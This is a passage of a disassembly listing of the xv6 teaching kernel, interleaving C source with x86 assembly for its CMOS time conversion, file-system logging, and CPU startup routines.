24 04 mov %edi,0x4(%esp) 801028a9: 89 1c 24 mov %ebx,(%esp) 801028ac: e8 2f 1a 00 00 call 801042e0 <memcmp> 801028b1: 85 c0 test %eax,%eax 801028b3: 75 c3 jne 80102878 <cmostime+0x28> break; } // convert if(bcd) { 801028b5: 80 7d b7 00 cmpb $0x0,-0x49(%ebp) 801028b9: 75 78 jne 80102933 <cmostime+0xe3> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 801028bb: 8b 45 b8 mov -0x48(%ebp),%eax 801028be: 89 c2 mov %eax,%edx 801028c0: 83 e0 0f and $0xf,%eax 801028c3: c1 ea 04 shr $0x4,%edx 801028c6: 8d 14 92 lea (%edx,%edx,4),%edx 801028c9: 8d 04 50 lea (%eax,%edx,2),%eax 801028cc: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 801028cf: 8b 45 bc mov -0x44(%ebp),%eax 801028d2: 89 c2 mov %eax,%edx 801028d4: 83 e0 0f and $0xf,%eax 801028d7: c1 ea 04 shr $0x4,%edx 801028da: 8d 14 92 lea (%edx,%edx,4),%edx 801028dd: 8d 04 50 lea (%eax,%edx,2),%eax 801028e0: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 801028e3: 8b 45 c0 mov -0x40(%ebp),%eax 801028e6: 89 c2 mov %eax,%edx 801028e8: 83 e0 0f and $0xf,%eax 801028eb: c1 ea 04 shr $0x4,%edx 801028ee: 8d 14 92 lea (%edx,%edx,4),%edx 801028f1: 8d 04 50 lea (%eax,%edx,2),%eax 801028f4: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 801028f7: 8b 45 c4 mov -0x3c(%ebp),%eax 801028fa: 89 c2 mov %eax,%edx 801028fc: 83 e0 0f and $0xf,%eax 801028ff: c1 ea 04 shr $0x4,%edx 80102902: 8d 14 92 lea (%edx,%edx,4),%edx 80102905: 8d 04 50 lea (%eax,%edx,2),%eax 80102908: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 8010290b: 8b 45 c8 mov -0x38(%ebp),%eax 8010290e: 89 c2 mov %eax,%edx 80102910: 83 e0 0f and $0xf,%eax 80102913: c1 ea 04 shr $0x4,%edx 80102916: 8d 14 92 lea (%edx,%edx,4),%edx 80102919: 8d 04 50 lea (%eax,%edx,2),%eax 8010291c: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 8010291f: 8b 45 cc mov -0x34(%ebp),%eax 80102922: 89 c2 mov %eax,%edx 80102924: 83 e0 0f and $0xf,%eax 80102927: c1 ea 04 shr $0x4,%edx 8010292a: 8d 14 92 lea (%edx,%edx,4),%edx 8010292d: 8d 04 50 lea (%eax,%edx,2),%eax 80102930: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 80102933: 8b 4d 08 mov 0x8(%ebp),%ecx 80102936: 8b 45 b8 mov -0x48(%ebp),%eax 80102939: 89 01 mov %eax,(%ecx) 8010293b: 8b 45 bc mov -0x44(%ebp),%eax 8010293e: 89 41 04 mov %eax,0x4(%ecx) 80102941: 8b 45 c0 mov -0x40(%ebp),%eax 80102944: 89 41 08 mov %eax,0x8(%ecx) 80102947: 8b 45 c4 mov -0x3c(%ebp),%eax 8010294a: 89 41 0c mov %eax,0xc(%ecx) 8010294d: 8b 45 c8 mov -0x38(%ebp),%eax 80102950: 89 41 10 mov %eax,0x10(%ecx) 80102953: 8b 45 cc mov -0x34(%ebp),%eax 80102956: 89 41 14 mov %eax,0x14(%ecx) r->year += 2000; 80102959: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx) } 80102960: 83 c4 4c add $0x4c,%esp 80102963: 5b pop %ebx 80102964: 5e pop %esi 80102965: 5f pop %edi 80102966: 5d pop %ebp 80102967: c3 ret 80102968: 66 90 xchg %ax,%ax 8010296a: 66 90 xchg %ax,%ax 8010296c: 66 90 xchg %ax,%ax 8010296e: 66 90 xchg %ax,%ax 80102970 <install_trans>: } // Copy committed blocks from log to their home location static void install_trans(void) { 80102970: 55 push %ebp 80102971: 89 e5 mov %esp,%ebp 80102973: 57 push %edi 80102974: 56 push %esi 80102975: 53 push %ebx int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102976: 31 db xor %ebx,%ebx { 80102978: 83 ec 1c sub $0x1c,%esp for (tail = 0; tail < log.lh.n; tail++) { 8010297b: a1 c8 26 11 80 mov 0x801126c8,%eax 80102980: 85 c0 test %eax,%eax 80102982: 7e 78 jle 801029fc <install_trans+0x8c> 80102984: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102988: a1 b4 26 11 80 mov 0x801126b4,%eax 8010298d: 01 d8 add %ebx,%eax 8010298f: 83 c0 01 add $0x1,%eax 80102992: 89 44 24 04 mov %eax,0x4(%esp) 80102996: a1 c4 26 11 80 mov 0x801126c4,%eax 8010299b: 89 04 24 mov %eax,(%esp) 8010299e: e8 2d d7 ff ff call 801000d0 <bread> 801029a3: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029a5: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax for (tail = 0; tail < log.lh.n; tail++) { 801029ac: 83 c3 01 add $0x1,%ebx struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029af: 89 44 24 04 mov %eax,0x4(%esp) 801029b3: a1 c4 26 11 80 mov 0x801126c4,%eax 801029b8: 89 04 24 mov %eax,(%esp) 801029bb: e8 10 d7 ff ff call 801000d0 <bread> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029c0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 801029c7: 00 struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 801029c8: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 801029ca: 8d 47 5c lea 0x5c(%edi),%eax 801029cd: 89 44 24 04 mov %eax,0x4(%esp) 801029d1: 8d 46 5c lea 0x5c(%esi),%eax 801029d4: 89 04 24 mov %eax,(%esp) 801029d7: e8 54 19 00 00 call 80104330 <memmove> bwrite(dbuf); // write dst to disk 801029dc: 89 34 24 mov %esi,(%esp) 801029df: e8 bc d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 801029e4: 89 3c 24 mov %edi,(%esp) 801029e7: e8 f4 d7 ff ff call 801001e0 <brelse> brelse(dbuf); 801029ec: 89 34 24 mov %esi,(%esp) 801029ef: e8 ec d7 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 801029f4: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 801029fa: 7f 8c jg 80102988 <install_trans+0x18> } } 801029fc: 83 c4 1c add $0x1c,%esp 801029ff: 5b pop %ebx 80102a00: 5e pop %esi 80102a01: 5f pop %edi 80102a02: 5d pop %ebp 80102a03: c3 ret 80102a04: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102a0a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80102a10 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 80102a10: 55 push %ebp 80102a11: 89 e5 mov %esp,%ebp 80102a13: 57 push %edi 80102a14: 56 push %esi 80102a15: 53 push %ebx 80102a16: 83 ec 1c sub $0x1c,%esp struct buf *buf = bread(log.dev, log.start); 80102a19: a1 b4 26 11 80 mov 0x801126b4,%eax 80102a1e: 89 44 24 04 mov %eax,0x4(%esp) 80102a22: a1 c4 26 11 80 mov 0x801126c4,%eax 80102a27: 89 04 24 mov %eax,(%esp) 80102a2a: e8 a1 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 80102a2f: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx for (i = 0; i < log.lh.n; i++) { 80102a35: 31 d2 xor %edx,%edx 80102a37: 85 db test %ebx,%ebx struct buf *buf = bread(log.dev, log.start); 80102a39: 89 c7 mov %eax,%edi hb->n = log.lh.n; 80102a3b: 89 58 5c mov %ebx,0x5c(%eax) 80102a3e: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102a41: 7e 17 jle 80102a5a <write_head+0x4a> 80102a43: 90 nop 80102a44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi hb->block[i] = log.lh.block[i]; 80102a48: 8b 0c 95 cc 26 11 80 mov -0x7feed934(,%edx,4),%ecx 80102a4f: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102a53: 83 c2 01 add $0x1,%edx 80102a56: 39 da cmp %ebx,%edx 80102a58: 75 ee jne 80102a48 <write_head+0x38> } bwrite(buf); 80102a5a: 89 3c 24 mov %edi,(%esp) 80102a5d: e8 3e d7 ff ff call 801001a0 <bwrite> brelse(buf); 80102a62: 89 3c 24 mov %edi,(%esp) 80102a65: e8 76 d7 ff ff call 801001e0 <brelse> } 80102a6a: 83 c4 1c add $0x1c,%esp 80102a6d: 5b pop %ebx 80102a6e: 5e pop %esi 80102a6f: 5f pop %edi 80102a70: 5d pop %ebp 80102a71: c3 ret 80102a72: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102a79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102a80 <initlog>: { 80102a80: 55 push %ebp 80102a81: 89 e5 mov %esp,%ebp 80102a83: 56 push %esi 80102a84: 53 push %ebx 80102a85: 83 ec 30 sub $0x30,%esp 80102a88: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&log.lock, "log"); 80102a8b: c7 44 24 04 40 73 10 movl $0x80107340,0x4(%esp) 80102a92: 80 80102a93: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102a9a: e8 c1 15 00 00 call 80104060 <initlock> readsb(dev, &sb); 80102a9f: 8d 45 dc lea -0x24(%ebp),%eax 80102aa2: 89 44 24 04 mov %eax,0x4(%esp) 80102aa6: 89 1c 24 mov %ebx,(%esp) 80102aa9: e8 f2 e8 ff ff call 801013a0 <readsb> log.start = sb.logstart; 80102aae: 8b 45 ec mov -0x14(%ebp),%eax log.size = sb.nlog; 80102ab1: 8b 55 e8 mov -0x18(%ebp),%edx struct buf *buf = bread(log.dev, log.start); 80102ab4: 89 1c 24 mov %ebx,(%esp) log.dev = dev; 80102ab7: 89 1d c4 26 11 80 mov %ebx,0x801126c4 struct buf *buf = bread(log.dev, log.start); 80102abd: 89 44 24 04 mov %eax,0x4(%esp) log.size = sb.nlog; 80102ac1: 89 15 b8 26 11 80 mov %edx,0x801126b8 log.start = sb.logstart; 80102ac7: a3 b4 26 11 80 mov %eax,0x801126b4 struct buf *buf = bread(log.dev, log.start); 80102acc: e8 ff d5 ff ff call 801000d0 <bread> for (i = 0; i < log.lh.n; i++) { 80102ad1: 31 d2 xor %edx,%edx log.lh.n = lh->n; 80102ad3: 8b 58 5c mov 0x5c(%eax),%ebx 80102ad6: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102ad9: 85 db test %ebx,%ebx log.lh.n = lh->n; 80102adb: 89 1d c8 26 11 80 mov %ebx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102ae1: 7e 17 jle 80102afa <initlog+0x7a> 80102ae3: 90 nop 80102ae4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = lh->block[i]; 80102ae8: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx 80102aec: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102af3: 83 c2 01 add $0x1,%edx 80102af6: 39 da cmp %ebx,%edx 80102af8: 75 ee jne 80102ae8 <initlog+0x68> brelse(buf); 80102afa: 89 04 24 mov %eax,(%esp) 80102afd: e8 de d6 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102b02: e8 69 fe ff ff call 80102970 <install_trans> log.lh.n = 0; 80102b07: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102b0e: 00 00 00 write_head(); // clear the log 80102b11: e8 fa fe ff ff call 80102a10 <write_head> } 80102b16: 83 c4 30 add $0x30,%esp 80102b19: 5b pop %ebx 80102b1a: 5e pop %esi 80102b1b: 5d pop %ebp 80102b1c: c3 ret 80102b1d: 8d 76 00 lea 0x0(%esi),%esi 80102b20 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102b20: 55 push %ebp 80102b21: 89 e5 mov %esp,%ebp 80102b23: 83 ec 18 sub $0x18,%esp acquire(&log.lock); 80102b26: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b2d: e8 1e 16 00 00 call 80104150 <acquire> 80102b32: eb 18 jmp 80102b4c <begin_op+0x2c> 80102b34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102b38: c7 44 24 04 80 26 11 movl $0x80112680,0x4(%esp) 80102b3f: 80 80102b40: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b47: e8 c4 10 00 00 call 80103c10 <sleep> if(log.committing){ 80102b4c: a1 c0 26 11 80 mov 0x801126c0,%eax 80102b51: 85 c0 test %eax,%eax 80102b53: 75 e3 jne 80102b38 <begin_op+0x18> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102b55: a1 bc 26 11 80 mov 0x801126bc,%eax 80102b5a: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102b60: 83 c0 01 add $0x1,%eax 80102b63: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102b66: 8d 14 4a lea (%edx,%ecx,2),%edx 80102b69: 83 fa 1e cmp $0x1e,%edx 80102b6c: 7f ca jg 80102b38 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102b6e: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) log.outstanding += 1; 80102b75: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102b7a: e8 c1 16 00 00 call 80104240 <release> break; } } } 80102b7f: c9 leave 80102b80: c3 ret 80102b81: eb 0d jmp 80102b90 <end_op> 80102b83: 90 nop 80102b84: 90 nop 80102b85: 90 nop 80102b86: 90 nop 80102b87: 90 nop 80102b88: 90 nop 80102b89: 90 nop 80102b8a: 90 nop 80102b8b: 90 nop 80102b8c: 90 nop 80102b8d: 90 nop 80102b8e: 90 nop 80102b8f: 90 nop 80102b90 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102b90: 55 push %ebp 80102b91: 89 e5 mov %esp,%ebp 80102b93: 57 push %edi 80102b94: 56 push %esi 80102b95: 53 push %ebx 80102b96: 83 ec 1c sub $0x1c,%esp int do_commit = 0; acquire(&log.lock); 80102b99: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102ba0: e8 ab 15 00 00 call 80104150 <acquire> log.outstanding -= 1; 80102ba5: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102baa: 8b 15 c0 26 11 80 mov 0x801126c0,%edx log.outstanding -= 1; 80102bb0: 83 e8 01 sub $0x1,%eax if(log.committing) 80102bb3: 85 d2 test %edx,%edx log.outstanding -= 1; 80102bb5: a3 bc 26 11 80 mov %eax,0x801126bc if(log.committing) 80102bba: 0f 85 f3 00 00 00 jne 80102cb3 <end_op+0x123> panic("log.committing"); if(log.outstanding == 0){ 80102bc0: 85 c0 test %eax,%eax 80102bc2: 0f 85 cb 00 00 00 jne 80102c93 <end_op+0x103> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102bc8: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) } static void commit() { if (log.lh.n > 0) { 80102bcf: 31 db xor %ebx,%ebx log.committing = 1; 80102bd1: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102bd8: 00 00 00 release(&log.lock); 80102bdb: e8 60 16 00 00 call 80104240 <release> if (log.lh.n > 0) { 80102be0: a1 c8 26 11 80 mov 0x801126c8,%eax 80102be5: 85 c0 test %eax,%eax 80102be7: 0f 8e 90 00 00 00 jle 80102c7d <end_op+0xed> 80102bed: 8d 76 00 lea 0x0(%esi),%esi struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102bf0: a1 b4 26 11 80 mov 0x801126b4,%eax 80102bf5: 01 d8 add %ebx,%eax 80102bf7: 83 c0 01 add $0x1,%eax 80102bfa: 89 44 24 04 mov %eax,0x4(%esp) 80102bfe: a1 c4 26 11 80 mov 0x801126c4,%eax 80102c03: 89 04 24 mov %eax,(%esp) 80102c06: e8 c5 d4 ff ff call 801000d0 <bread> 80102c0b: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c0d: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax for (tail = 0; tail < log.lh.n; tail++) { 80102c14: 83 c3 01 add $0x1,%ebx struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c17: 89 44 24 04 mov %eax,0x4(%esp) 80102c1b: a1 c4 26 11 80 mov 0x801126c4,%eax 80102c20: 89 04 24 mov %eax,(%esp) 80102c23: e8 a8 d4 ff ff call 801000d0 <bread> memmove(to->data, from->data, BSIZE); 80102c28: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80102c2f: 00 struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c30: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102c32: 8d 40 5c lea 0x5c(%eax),%eax 80102c35: 89 44 24 04 mov %eax,0x4(%esp) 80102c39: 8d 46 5c lea 0x5c(%esi),%eax 80102c3c: 89 04 24 mov %eax,(%esp) 80102c3f: e8 ec 16 00 00 call 80104330 <memmove> bwrite(to); // write the log 80102c44: 89 34 24 mov %esi,(%esp) 80102c47: e8 54 d5 ff ff call 801001a0 <bwrite> brelse(from); 80102c4c: 89 3c 24 mov %edi,(%esp) 80102c4f: e8 8c d5 ff ff call 801001e0 <brelse> brelse(to); 80102c54: 89 34 24 mov %esi,(%esp) 80102c57: e8 84 d5 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102c5c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102c62: 7c 8c jl 80102bf0 <end_op+0x60> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102c64: e8 a7 fd ff ff call 80102a10 <write_head> install_trans(); // Now install writes to home locations 80102c69: e8 02 fd ff ff call 80102970 <install_trans> log.lh.n = 0; 80102c6e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102c75: 00 00 00 write_head(); // Erase the transaction from the log 80102c78: e8 93 fd ff ff call 80102a10 <write_head> acquire(&log.lock); 80102c7d: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c84: e8 c7 14 00 00 call 80104150 <acquire> log.committing = 0; 80102c89: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102c90: 00 00 00 wakeup(&log); 80102c93: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c9a: e8 01 11 00 00 call 80103da0 <wakeup> release(&log.lock); 80102c9f: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102ca6: e8 95 15 00 00 call 80104240 <release> } 80102cab: 83 c4 1c add $0x1c,%esp 80102cae: 5b pop %ebx 80102caf: 5e pop %esi 80102cb0: 5f pop %edi 80102cb1: 5d pop %ebp 80102cb2: c3 ret panic("log.committing"); 80102cb3: c7 04 24 44 73 10 80 movl $0x80107344,(%esp) 80102cba: e8 a1 d6 ff ff call 80100360 <panic> 80102cbf: 90 nop 80102cc0 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102cc0: 55 push %ebp 80102cc1: 89 e5 mov %esp,%ebp 80102cc3: 53 push %ebx 80102cc4: 83 ec 14 sub $0x14,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102cc7: a1 c8 26 11 80 mov 0x801126c8,%eax { 80102ccc: 8b 5d 08 mov 0x8(%ebp),%ebx if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102ccf: 83 f8 1d cmp $0x1d,%eax 80102cd2: 0f 8f 98 00 00 00 jg 80102d70 <log_write+0xb0> 80102cd8: 8b 0d b8 26 11 80 mov 0x801126b8,%ecx 80102cde: 8d 51 ff lea -0x1(%ecx),%edx 80102ce1: 39 d0 cmp %edx,%eax 80102ce3: 0f 8d 87 00 00 00 jge 80102d70 <log_write+0xb0> panic("too big a transaction"); if (log.outstanding < 1) 80102ce9: a1 bc 26 11 80 mov 0x801126bc,%eax 80102cee: 85 c0 test %eax,%eax 80102cf0: 0f 8e 86 00 00 00 jle 80102d7c <log_write+0xbc> panic("log_write outside of trans"); acquire(&log.lock); 80102cf6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102cfd: e8 4e 14 00 00 call 80104150 <acquire> for (i = 0; i < log.lh.n; i++) { 80102d02: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102d08: 83 fa 00 cmp $0x0,%edx 80102d0b: 7e 54 jle 80102d61 <log_write+0xa1> if (log.lh.block[i] == b->blockno) // log absorbtion 80102d0d: 8b 4b 08 mov 0x8(%ebx),%ecx for (i = 0; i < log.lh.n; i++) { 80102d10: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102d12: 39 0d cc 26 11 80 cmp %ecx,0x801126cc 80102d18: 75 0f jne 80102d29 <log_write+0x69> 80102d1a: eb 3c jmp 80102d58 <log_write+0x98> 80102d1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102d20: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4) 80102d27: 74 2f je 80102d58 <log_write+0x98> for (i = 0; i < log.lh.n; i++) { 80102d29: 83 c0 01 add $0x1,%eax 80102d2c: 39 d0 cmp %edx,%eax 80102d2e: 75 f0 jne 80102d20 <log_write+0x60> break; } log.lh.block[i] = b->blockno; 80102d30: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) if (i == log.lh.n) log.lh.n++; 80102d37: 83 c2 01 add $0x1,%edx 80102d3a: 89 15 c8 26 11 80 mov %edx,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102d40: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102d43: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102d4a: 83 c4 14 add $0x14,%esp 80102d4d: 5b pop %ebx 80102d4e: 5d pop %ebp release(&log.lock); 80102d4f: e9 ec 14 00 00 jmp 80104240 <release> 80102d54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = b->blockno; 80102d58: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4) 80102d5f: eb df jmp 80102d40 <log_write+0x80> 80102d61: 8b 43 08 mov 0x8(%ebx),%eax 80102d64: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102d69: 75 d5 jne 80102d40 <log_write+0x80> 80102d6b: eb ca jmp 80102d37 <log_write+0x77> 80102d6d: 8d 76 00 lea 0x0(%esi),%esi panic("too big a transaction"); 80102d70: c7 04 24 53 73 10 80 movl $0x80107353,(%esp) 80102d77: e8 e4 d5 ff ff call 80100360 <panic> panic("log_write outside of trans"); 80102d7c: c7 04 24 69 73 10 80 movl $0x80107369,(%esp) 80102d83: e8 d8 d5 ff ff call 80100360 <panic> 80102d88: 66 90 xchg %ax,%ax 80102d8a: 66 90 xchg %ax,%ax 80102d8c: 66 90 xchg %ax,%ax 80102d8e: 66 90 xchg %ax,%ax 80102d90 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102d90: 55 push %ebp 80102d91: 89 e5 mov %esp,%ebp 80102d93: 53 push %ebx 80102d94: 83 ec 14 sub $0x14,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102d97: e8 f4 08 00 00 call 80103690 <cpuid> 80102d9c: 89 c3 mov %eax,%ebx 80102d9e: e8 ed 08 00 00 call 80103690 <cpuid> 80102da3: 89 5c 24 08 mov %ebx,0x8(%esp) 80102da7: c7 04 24 84 73 10 80 movl $0x80107384,(%esp) 80102dae: 89 44 24 04 mov %eax,0x4(%esp) 80102db2: e8 99 d8 ff ff call 80100650 <cprintf> idtinit(); // load idt register 80102db7: e8 54 27 00 00 call 80105510 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102dbc: e8 4f 08 00 00 call 80103610 <mycpu> 80102dc1: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102dc3: b8 01 00 00 00 mov $0x1,%eax 80102dc8: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102dcf: e8 9c 0b 00 00 call 80103970 <scheduler> 80102dd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102dda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80102de0 <mpenter>: { 80102de0: 55 push %ebp 80102de1: 89 e5 mov %esp,%ebp 80102de3: 83 ec 08 sub $0x8,%esp switchkvm(); 80102de6: e8 e5 37 00 00 call 801065d0 <switchkvm> seginit(); 80102deb: e8 a0 36 00 00 call 80106490 <seginit> lapicinit(); 80102df0: e8 8b f8 ff ff call 80102680 <lapicinit> mpmain(); 80102df5: e8 96 ff ff ff call 80102d90 <mpmain> 80102dfa: 66 90 xchg %ax,%ax 80102dfc: 66 90 xchg %ax,%ax 80102dfe: 66 90 xchg %ax,%ax 80102e00 <main>: { 80102e00: 55 push %ebp 80102e01: 89 e5 mov %esp,%ebp 80102e03: 53 push %ebx // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102e04: bb 80 27 11 80 mov $0x80112780,%ebx { 80102e09: 83 e4 f0 and $0xfffffff0,%esp 80102e0c: 83 ec 10 sub $0x10,%esp kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102e0f: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp) 80102e16: 80 80102e17: c7 04 24 f4 57 11 80 movl $0x801157f4,(%esp) 80102e1e: e8 cd f5 ff ff call 801023f0 <kinit1> kvmalloc(); // kernel page table 80102e23: e8 58 3c 00 00 call 80106a80 <kvmalloc> mpinit(); // detect other processors 80102e28: e8 73 01 00 00 call 80102fa0 <mpinit> 80102e2d: 8d 76 00 lea 0x0(%esi),%esi lapicinit(); // interrupt controller 80102e30: e8 4b f8 ff ff call 80102680 <lapicinit> seginit(); // segment descriptors 80102e35: e8 56 36 00 00 call 80106490 <seginit> picinit(); // disable pic 80102e3a: e8 21 03 00 00 call 80103160 <picinit> 80102e3f: 90 nop ioapicinit(); // another interrupt controller 80102e40: e8 cb f3 ff ff call 80102210 <ioapicinit> consoleinit(); // console hardware 80102e45: e8 06 db ff ff call 80100950 <consoleinit> uartinit(); // serial port 80102e4a: e8 e1 29 00 00 call 80105830 <uartinit> 80102e4f: 90 nop pinit(); // process table 80102e50: e8 9b 07 00 00 call 801035f0 <pinit> shminit(); // shared memory 80102e55: e8 36 3e 00 00 call 80106c90 <shminit> tvinit(); // trap vectors 80102e5a: e8 11 26 00 00 call 80105470 <tvinit> 80102e5f: 90 nop binit(); // buffer cache 80102e60: e8 db d1 ff ff call 80100040 <binit> fileinit(); // file table 80102e65: e8 e6 de ff ff call 80100d50 <fileinit> ideinit(); // disk 80102e6a: e8 a1 f1 ff ff call 80102010 <ideinit> memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102e6f: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp) 80102e76: 00 80102e77: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp) 80102e7e: 80 80102e7f: c7 04 24 00 70 00 80 movl $0x80007000,(%esp) 80102e86: e8 a5 14 00 00 call 80104330 <memmove> for(c = cpus; c < cpus+ncpu; c++){ 80102e8b: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102e92: 00 00 00 80102e95: 05 80 27 11 80 add $0x80112780,%eax 80102e9a: 39 d8 cmp %ebx,%eax 80102e9c: 76 65 jbe 80102f03 <main+0x103> 80102e9e: 66 90 xchg %ax,%ax if(c == mycpu()) // We've started already. 80102ea0: e8 6b 07 00 00 call 80103610 <mycpu> 80102ea5: 39 d8 cmp %ebx,%eax 80102ea7: 74 41 je 80102eea <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102ea9: e8 02 f6 ff ff call 801024b0 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; *(void**)(code-8) = mpenter; 80102eae: c7 05 f8 6f 00 80 e0 movl $0x80102de0,0x80006ff8 80102eb5: 2d 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102eb8: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102ebf: 90 10 00 *(void**)(code-4) = stack + KSTACKSIZE; 80102ec2: 05 00 10 00 00 add $0x1000,%eax 80102ec7: a3 fc 6f 00 80 mov %eax,0x80006ffc lapicstartap(c->apicid, V2P(code)); 80102ecc: 0f b6 03 movzbl 